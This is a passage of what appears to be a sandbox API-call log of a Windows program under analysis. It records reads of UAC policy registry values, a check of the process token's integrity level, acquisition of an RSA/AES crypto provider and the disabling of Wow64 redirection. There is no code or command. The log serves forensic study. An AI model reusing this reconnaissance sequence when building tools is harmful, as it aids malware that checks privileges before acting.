[0248.843] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c3f0) returned 1 [0248.843] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58b978) returned 1 [0248.843] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c3a8) returned 1 [0248.843] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58b988) returned 1 [0248.843] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c360) returned 1 [0248.843] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58b940) returned 1 [0248.844] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c318) returned 1 [0248.844] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58b950) returned 1 [0248.844] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c2d0) returned 1 [0248.844] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58b9d0) returned 1 [0248.844] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c288) returned 1 [0248.844] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58b9e0) returned 1 [0248.844] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c1f8) returned 1 [0248.844] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58b998) returned 1 [0248.844] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c1b0) returned 1 [0248.844] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58b9a8) returned 1 [0248.844] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c168) returned 1 [0248.844] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d1e8) returned 1 [0248.844] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c120) returned 1 [0248.844] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d1f8) returned 1 [0248.844] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c240) returned 1 [0248.844] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c240 [0248.844] RegQueryValueExA (in: hKey=0x38, lpValueName="ConsentPromptBehaviorAdmin", lpReserved=0x0, lpType=0x18fb9c, lpData=0x0, lpcbData=0x18fba4*=0x0 | out: lpType=0x18fb9c*=0x4, lpData=0x0, lpcbData=0x18fba4*=0x4) returned 0x0 [0248.844] RegQueryValueExA (in: hKey=0x38, lpValueName="ConsentPromptBehaviorAdmin", lpReserved=0x0, lpType=0x18fb9c, lpData=0x58c240, lpcbData=0x18fba4*=0x4 | out: lpType=0x18fb9c*=0x4, lpData=0x58c240*=0x5, lpcbData=0x18fba4*=0x4) returned 0x0 [0248.844] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c240) returned 1 [0248.844] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c0d8) returned 1 [0248.844] RegEnumValueA (in: hKey=0x38, dwIndex=0x0, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.844] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x10) returned 0x58d5e8 [0248.844] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d1f8 [0248.844] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c0d8 [0248.844] RegEnumValueA (in: hKey=0x38, dwIndex=0x1, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.844] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d1e8 [0248.844] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c240 [0248.844] RegEnumValueA (in: hKey=0x38, dwIndex=0x2, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.844] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d208 [0248.844] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c120 [0248.844] RegEnumValueA (in: hKey=0x38, dwIndex=0x3, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.844] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d218 [0248.844] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c168 [0248.845] RegEnumValueA (in: hKey=0x38, dwIndex=0x4, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.845] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x20) returned 0x58b860 [0248.845] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d5e8) returned 1 [0248.845] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d228 [0248.845] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c1b0 [0248.845] RegEnumValueA (in: hKey=0x38, dwIndex=0x5, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.845] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d238 [0248.845] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c1f8 [0248.845] RegEnumValueA (in: hKey=0x38, dwIndex=0x6, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.845] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d248 [0248.845] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c288 [0248.845] RegEnumValueA (in: hKey=0x38, dwIndex=0x7, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.845] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d258 [0248.845] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c2d0 [0248.845] RegEnumValueA (in: hKey=0x38, dwIndex=0x8, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.845] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x30) returned 0x58b930 [0248.845] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58b860) returned 1 [0248.845] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d268 [0248.845] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c318 [0248.845] RegEnumValueA (in: hKey=0x38, dwIndex=0x9, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.845] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d278 [0248.845] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c360 [0248.845] RegEnumValueA (in: hKey=0x38, dwIndex=0xa, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.845] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d288 [0248.845] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c3a8 [0248.845] RegEnumValueA (in: hKey=0x38, dwIndex=0xb, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.845] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d298 [0248.845] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c3f0 [0248.845] RegEnumValueA (in: hKey=0x38, dwIndex=0xc, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.846] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c480 [0248.846] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58b930) returned 1 [0248.846] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d2a8 [0248.846] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c4c8 [0248.846] RegEnumValueA (in: hKey=0x38, dwIndex=0xd, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.846] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d2b8 [0248.846] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c510 [0248.846] RegEnumValueA (in: hKey=0x38, dwIndex=0xe, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.846] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d2c8 [0248.846] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c558 [0248.846] RegEnumValueA (in: hKey=0x38, dwIndex=0xf, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.846] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d2d8 [0248.846] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c438 [0248.846] RegEnumValueA (in: hKey=0x38, dwIndex=0x10, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0248.846] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c5a0 [0248.846] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c5a0) returned 1 [0248.846] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c5a0 [0248.846] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c5a0) returned 1 [0248.846] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c5a0 [0248.846] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c5a0) returned 1 [0248.846] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c5a0 [0248.846] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c5a0) returned 1 [0248.846] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c5a0 [0248.846] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c5a0) returned 1 [0248.846] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c5a0 [0248.846] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c5a0) returned 1 [0248.846] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c5a0 [0248.846] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c5a0) returned 1 [0248.846] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c5a0 [0248.846] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c5a0) returned 1 [0248.846] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c5a0 [0248.846] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c0d8) returned 1 [0248.846] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d1f8) returned 1 [0248.846] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c240) returned 1 [0248.847] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d1e8) returned 1 [0248.847] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c120) returned 1 [0248.847] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d208) returned 1 [0248.847] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c168) returned 1 [0248.847] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d218) returned 1 [0248.847] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c1b0) returned 1 [0248.847] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d228) returned 1 [0248.847] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c1f8) returned 1 [0248.847] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d238) returned 1 [0248.847] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c288) returned 1 [0248.847] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d248) returned 1 [0248.847] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c2d0) returned 1 [0248.847] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d258) returned 1 [0248.847] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c318) returned 1 [0248.847] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d268) returned 1 [0248.847] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c360) returned 1 [0248.847] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d278) returned 1 [0248.847] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c3a8) returned 1 [0248.847] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d288) returned 1 [0248.847] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c3f0) returned 1 [0248.847] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d298) returned 1 [0248.847] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c4c8) returned 1 [0248.847] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d2a8) returned 1 [0248.847] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c510) returned 1 [0248.847] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d2b8) returned 1 [0248.847] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c558) returned 1 [0248.847] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d2c8) returned 1 [0248.847] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c438) returned 1 [0248.847] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d2d8) returned 1 [0248.847] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c480) returned 1 [0248.847] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c480 [0248.847] RegQueryValueExA (in: hKey=0x38, lpValueName="PromptOnSecureDesktop", lpReserved=0x0, lpType=0x18fb9c, lpData=0x0, lpcbData=0x18fba4*=0x0 | out: lpType=0x18fb9c*=0x4, lpData=0x0, lpcbData=0x18fba4*=0x4) returned 0x0 [0248.847] RegQueryValueExA (in: hKey=0x38, lpValueName="PromptOnSecureDesktop", lpReserved=0x0, lpType=0x18fb9c, lpData=0x58c480, lpcbData=0x18fba4*=0x4 | out: lpType=0x18fb9c*=0x4, lpData=0x58c480*=0x1, lpcbData=0x18fba4*=0x4) returned 0x0 [0248.847] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c480) returned 1 [0248.847] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c5a0) returned 1 [0248.847] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58b8a8) returned 1 [0248.847] RegCloseKey (hKey=0x38) returned 0x0 [0248.848] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fc14 | out: TokenHandle=0x18fc14*=0x38) returned 1 [0248.848] GetTokenInformation (in: TokenHandle=0x38, TokenInformationClass=0x14, TokenInformation=0x18fc10, TokenInformationLength=0x4, ReturnLength=0x18fc0c | out: TokenInformation=0x18fc10, ReturnLength=0x18fc0c) returned 1 [0248.848] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fc00 | out: TokenHandle=0x18fc00*=0xc4) returned 1 [0248.848] GetTokenInformation (in: TokenHandle=0xc4, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x18fbfc | out: TokenInformation=0x0, ReturnLength=0x18fbfc) returned 0 [0248.848] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c5a0 [0248.848] GetTokenInformation (in: TokenHandle=0xc4, TokenInformationClass=0x19, TokenInformation=0x58c5a0, TokenInformationLength=0x14, ReturnLength=0x18fbfc | out: TokenInformation=0x58c5a0, ReturnLength=0x18fbfc) returned 1 [0248.848] GetSidSubAuthorityCount (pSid=0x58c5a8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x3000)) returned 0x58c5a9 [0248.848] GetSidSubAuthority (pSid=0x58c5a8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x3000), nSubAuthority=0x0) returned 0x58c5b0 [0248.848] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c5a0) returned 1 [0248.848] NtClose (Handle=0xc4) returned 0x0 [0248.848] GetSystemInfo (in: lpSystemInfo=0x18fd48 | out: lpSystemInfo=0x18fd48*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0x1, dwNumberOfProcessors=0x1, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0248.848] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x58b860 [0248.848] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c5a0 [0248.848] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName=0x0) returned 0xc4 [0248.848] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c480 [0248.848] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c438 [0248.848] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c558 [0248.848] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c510 [0248.848] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x5000) returned 0x1dd0048 [0248.849] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c4c8 [0248.849] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c4c8) returned 1 [0248.849] CryptAcquireContextW (in: phProv=0x18fd5c, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18fd5c*=0x5d2310) returned 1 [0248.866] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1dd0048) returned 1 [0248.866] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58b8d8 [0248.866] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58b960 [0248.866] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c4c8 [0248.866] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58b9e8 [0248.866] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58ba70 [0248.866] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c3f0 [0248.866] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58baf8 [0248.866] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c3a8 [0248.866] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x5000) returned 0x1dd0048 [0248.866] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c360 [0248.866] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c360) returned 1 [0248.866] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0248.879] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1dd0048) returned 1 [0248.879] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x5cd020, lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10 | out: lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10) returned 1 [0248.879] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c360 [0248.879] CreateEventA (lpEventAttributes=0x18fd58, bManualReset=1, bInitialState=0, lpName="") returned 0x110 [0248.880] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c360) returned 1 [0248.880] GetLastError () returned 0x0 [0248.880] LocalFree (hMem=0x5cd020) returned 0x0 [0248.880] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c360 [0248.880] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x5000) returned 0x1dd0048 [0248.880] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c318 [0248.880] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c318) returned 1 [0248.880] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0248.882] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1dd0048) returned 1 [0248.882] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x5cd020, lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10 | out: lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10) returned 1 [0248.882] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c318 [0248.882] CreateEventA (lpEventAttributes=0x18fd58, bManualReset=1, bInitialState=0, lpName="") returned 0x114 [0248.882] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c318) returned 1 [0248.882] GetLastError () returned 0x0 [0248.882] LocalFree (hMem=0x5cd020) returned 0x0 [0248.882] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c318 [0248.882] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x5000) returned 0x1dd0048 [0248.882] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c2d0 [0248.882] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c2d0) returned 1 [0248.882] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0248.883] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1dd0048) returned 1 [0248.883] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x5cd020, lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10 | out: lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10) returned 1 [0248.883] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c2d0 [0248.884] CreateEventA (lpEventAttributes=0x18fd58, bManualReset=1, bInitialState=0, lpName="") returned 0x118 [0248.884] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c2d0) returned 1 [0248.884] GetLastError () returned 0x0 [0248.884] LocalFree (hMem=0x5cd020) returned 0x0 [0248.884] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x2800) returned 0x1dd0048 [0248.884] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58bb80 [0248.884] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c2d0 [0248.884] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd8c | out: OldValue=0x18fd8c*=0x0) returned 1 [0248.884] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x2800) returned 0x1dd2850 [0248.884] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c288 [0248.884] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c288) returned 1 [0248.884] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x10) returned 0x58d5e8 [0248.884] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d2d8 [0248.884] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c288 [0248.884] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c1f8 [0248.884] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c1f8) returned 1 [0248.884] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c288) returned 1 [0248.884] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d2d8) returned 1 [0248.884] RtlFreeHeap 